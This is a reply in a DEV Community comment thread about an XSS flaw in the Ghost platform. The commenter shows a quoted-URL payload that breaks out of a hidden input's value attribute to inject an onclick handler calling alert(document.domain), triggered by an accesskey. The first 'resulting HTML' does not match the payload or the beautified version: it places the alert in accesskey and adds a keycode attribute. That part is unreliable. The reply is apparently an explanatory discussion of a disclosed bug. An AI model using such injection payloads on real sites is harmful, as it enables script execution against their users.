DEV Community

Discussion on: XSS in Ghost

View post

Replies for: So a URL like "http://foo.bar/..." would also be valid? Because since we have no quotes in the first place, we can't you quotes to end the attribut...

 
antogarand profile image
Antony Garand •

But you can start a URL with quotes!

Thanks to the url authentitation, this payload is valid:

"a"b="@dev.to#"onclick="alert(document.domain)"accesskey="x"

Which gives the resulting HTML:

<input class="location" type="hidden" name="location" value="a"b="@dev.to#"accesskey="alert(document.domain)"keycode="x" />

Or, once beautified:

<input 
  class="location" 
  type="hidden" 
  name="location"
  value="a"
  b="@dev.to#"
  onclick="alert(document.domain)"
  accesskey="x" 
/>